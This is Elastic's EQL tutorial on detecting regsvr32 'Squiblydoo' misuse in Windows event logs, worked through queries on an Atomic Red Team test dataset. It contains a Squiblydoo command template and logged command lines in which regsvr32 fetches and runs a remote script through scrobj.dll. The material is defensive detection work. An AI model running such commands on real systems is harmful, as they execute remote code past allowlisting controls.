Example: Detect threats with EQLedit

This functionality is experimental and may be changed or removed completely in a future release. Elastic will take a best effort approach to fix any issues, but experimental features are not subject to the support SLA of official GA features.

This example tutorial shows you how you can use EQL to detect security threats and other suspicious behavior. In the scenario, you’re tasked with detecting regsvr32 misuse in Windows event logs.

regsvr32.exe is a built-in command-line utility used to register .dll libraries in Windows. As a native tool, regsvr32.exe has a trusted status, letting it bypass most allowlist software and script blockers. Attackers with access to a user’s command line can use regsvr32.exe to run malicious scripts via .dll libraries, even on machines that otherwise disallow such scripts.

One common variant of regsvr32 misuse is a Squiblydoo attack. In a Squiblydoo attack, a regsvr32.exe command uses the scrobj.dll library to register and run a remote script. These commands often look like this:

"regsvr32.exe  /s /u /i:<script-url> scrobj.dll"

Setupedit

This tutorial uses a test dataset from Atomic Red Team that includes events imitating a Squiblydoo attack. The data has been mapped to Elastic Common Schema (ECS) fields.

To get started:

  1. Download normalized-T1117-AtomicRed-regsvr32.json.
  2. Use the bulk API to index the data:

    curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
  3. Use the cat indices API to verify the data was indexed:

    GET /_cat/indices/my-index-000001?v&h=health,status,index,docs.count

    The response should show a docs.count of 150.

    health status index            docs.count
    yellow open   my-index-000001         150

Get a count of regsvr32 eventsedit

First, get a count of events associated with a regsvr32.exe process:

GET /my-index-000001/_eql/search?filter_path=-hits.events   
{
  "query": """
    any where process.name == "regsvr32.exe"                
  """,
  "size": 200                                               
}

?filter_path=-hits.events excludes the hits.events property from the response. This search is only intended to get an event count, not a list of matching events.

Matches any event with a process.name of regsvr32.exe.

Returns up to 200 hits for matching events.

The response returns 143 related events.

{
  "is_partial": false,
  "is_running": false,
  "took": 60,
  "timed_out": false,
  "hits": {
    "total": {
      "value": 143,
      "relation": "eq"
    }
  }
}

Check for command line artifactsedit

regsvr32.exe processes were associated with 143 events. But how was regsvr32.exe first called? And who called it? regsvr32.exe is a command-line utility. Narrow your results to processes where the command line was used:

GET /my-index-000001/_eql/search
{
  "query": """
    process where process.name == "regsvr32.exe" and process.command_line.keyword != null
  """
}

The query matches one event with an event.type of creation, indicating the start of a regsvr32.exe process. Based on the event’s process.command_line value, regsvr32.exe used scrobj.dll to register a script, RegSvr32.sct. This fits the behavior of a Squiblydoo attack.

{
  "is_partial": false,
  "is_running": false,
  "took": 21,
  "timed_out": false,
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "events": [
      {
        "_index": "my-index-000001",
        "_type": "_doc",
        "_id": "gl5MJXMBMk1dGnErnBW8",
        "_score": null,
        "_source": {
          "process": {
            "parent": {
              "name": "cmd.exe",
              "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
              "executable": "C:\\Windows\\System32\\cmd.exe"
            },
            "name": "regsvr32.exe",
            "pid": 2012,
            "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
            "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
            "executable": "C:\\Windows\\System32\\regsvr32.exe",
            "ppid": 2652
          },
          "logon_id": 217055,
          "@timestamp": 131883573237130000,
          "event": {
            "category": "process",
            "type": "creation"
          },
          "user": {
            "full_name": "bob",
            "domain": "ART-DESKTOP",
            "id": "ART-DESKTOP\\bob"
          }
        }
      }
    ]
  }
}

Check for malicious script loadsedit

Check if regsvr32.exe later loads the scrobj.dll library:

GET /my-index-000001/_eql/search
{
  "query": """
    library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
  """
}

The query matches an event, confirming scrobj.dll was loaded.

{
  "is_partial": false,
  "is_running": false,
  "took": 5,
  "timed_out": false,
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "events": [
      {
        "_index": "my-index-000001",
        "_type": "_doc",
        "_id": "ol5MJXMBMk1dGnErnBW8",
        "_score": null,
        "_source": {
          "process": {
            "name": "regsvr32.exe",
            "pid": 2012,
            "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
            "executable": "C:\\Windows\\System32\\regsvr32.exe"
          },
          "@timestamp": 131883573237450016,
          "dll": {
            "path": "C:\\Windows\\System32\\scrobj.dll",
            "name": "scrobj.dll"
          },
          "event": {
            "category": "library"
          }
        }
      }
    ]
  }
}

Determine the likelihood of successedit

In many cases, attackers use malicious scripts to connect to remote servers or download other files. Use an EQL sequence query to check for the following series of events:

  1. A regsvr32.exe process
  2. A load of the scrobj.dll library by the same process
  3. Any network event by the same process

Based on the command line value seen in the previous response, you can expect to find a match. However, this query isn’t designed for that specific command. Instead, it looks for a pattern of suspicious behavior that’s generic enough to detect similar threats.

GET /my-index-000001/_eql/search
{
  "query": """
    sequence by process.pid
      [process where process.name == "regsvr32.exe"]
      [library where dll.name == "scrobj.dll"]
      [network where true]
  """
}

The query matches a sequence, indicating the attack likely succeeded.

{
  "is_partial": false,
  "is_running": false,
  "took": 25,
  "timed_out": false,
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "sequences": [
      {
        "join_keys": [
          2012
        ],
        "events": [
          {
            "_index": "my-index-000001",
            "_type": "_doc",
            "_id": "gl5MJXMBMk1dGnErnBW8",
            "_version": 1,
            "_seq_no": 3,
            "_primary_term": 1,
            "_score": null,
            "_source": {
              "process": {
                "parent": {
                  "name": "cmd.exe",
                  "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
                  "executable": "C:\\Windows\\System32\\cmd.exe"
                },
                "name": "regsvr32.exe",
                "pid": 2012,
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
                "executable": "C:\\Windows\\System32\\regsvr32.exe",
                "ppid": 2652
              },
              "logon_id": 217055,
              "@timestamp": 131883573237130000,
              "event": {
                "category": "process",
                "type": "creation"
              },
              "user": {
                "full_name": "bob",
                "domain": "ART-DESKTOP",
                "id": "ART-DESKTOP\\bob"
              }
            }
          },
          {
            "_index": "my-index-000001",
            "_type": "_doc",
            "_id": "ol5MJXMBMk1dGnErnBW8",
            "_version": 1,
            "_seq_no": 5,
            "_primary_term": 1,
            "_score": null,
            "_source": {
              "process": {
                "name": "regsvr32.exe",
                "pid": 2012,
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "executable": "C:\\Windows\\System32\\regsvr32.exe"
              },
              "@timestamp": 131883573237450016,
              "dll": {
                "path": "C:\\Windows\\System32\\scrobj.dll",
                "name": "scrobj.dll"
              },
              "event": {
                "category": "library"
              }
            }
          },
          {
            "_index": "my-index-000001",
            "_type": "_doc",
            "_id": "EF5MJXMBMk1dGnErnBa9",
            "_version": 1,
            "_seq_no": 24,
            "_primary_term": 1,
            "_score": null,
            "_source": {
              "process": {
                "name": "regsvr32.exe",
                "pid": 2012,
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "executable": "C:\\Windows\\System32\\regsvr32.exe"
              },
              "@timestamp": 131883573238680000,
              "destination": {
                "address": "151.101.48.133",
                "port": "443"
              },
              "source": {
                "address": "192.168.162.134",
                "port": "50505"
              },
              "event": {
                "category": "network"
              },
              "user": {
                "full_name": "bob",
                "domain": "ART-DESKTOP",
                "id": "ART-DESKTOP\\bob"
              },
              "network": {
                "protocol": "tcp",
                "direction": "outbound"
              }
            }
          }
        ]
      }
    ]
  }
}